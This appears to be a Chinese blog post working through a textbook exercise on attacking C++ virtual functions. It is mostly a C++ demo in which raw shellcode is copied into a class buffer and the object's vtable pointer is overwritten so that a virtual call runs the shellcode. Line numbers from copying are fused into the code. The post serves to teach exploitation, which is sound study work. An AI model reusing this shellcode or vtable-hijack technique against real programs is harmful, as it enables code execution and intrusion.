旧书重温：0day2【9】第六章 攻击c++的虚函数

             1
            //
             Attack_cpp_virtual_fun.cpp : Defines the entry point for the console application.

             2
            //

             3
             4 #include "stdafx.h" 5 #include <stdio.h>
 6 #include <string.h>
 7char shellcode[] = {
 8 9"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C\x8B\xF4\x8D\x7E\x0C\x33"10"\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30"11"\x8B\x4B\x0C\x8B\x49\x1C\x57\x56\x8B\x69\x08\x8B\x79\x20\x8B\x09\x66\x39\x57\x18\x75\xF2"12"\x5E\x5F\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05"13"\x78\x03\xCD\x8B\x59\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A\xC4"14"\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75\xE4\x8B\x59\x24\x03\xDD\x66"15"\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75"16"\xA9\x33\xDB\x53\x68\x61\x61\x61\x61\x68\x62\x62\x62\x62\x8B\xC4\x53\x50\x50\x53\xFF\x57"17"\xFC\x53\xFF\x57\xF8\x74\x7d\x42"}; // 427d74 指向 overflow的buf 头，也就是复制过去的shllcode头位置
18class zhenw0
19{
20public:
21char buf[200];
22virtualvoid test(void)
23    {
24         printf("class zhenw0:test() \n");
2526    }
27};
2829 zhenw0 overflow,*p;
3031int main(int argc, char* argv[])
32{
33char * p_vtable;
3435     p_vtable  = overflow.buf - 4;
36     p_vtable[0] = 0x29;　　　　// 427e29 指向 overflow.buf承载的shellcode末尾
37     p_vtable[1] = 0x7e;
38     p_vtable[2] = 0x42;
39     p_vtable[3] = 0x00;
40    strcpy(overflow.buf,shellcode);
41//__asm int 342     p = &overflow;
43     p->test();
444546return0;
47 }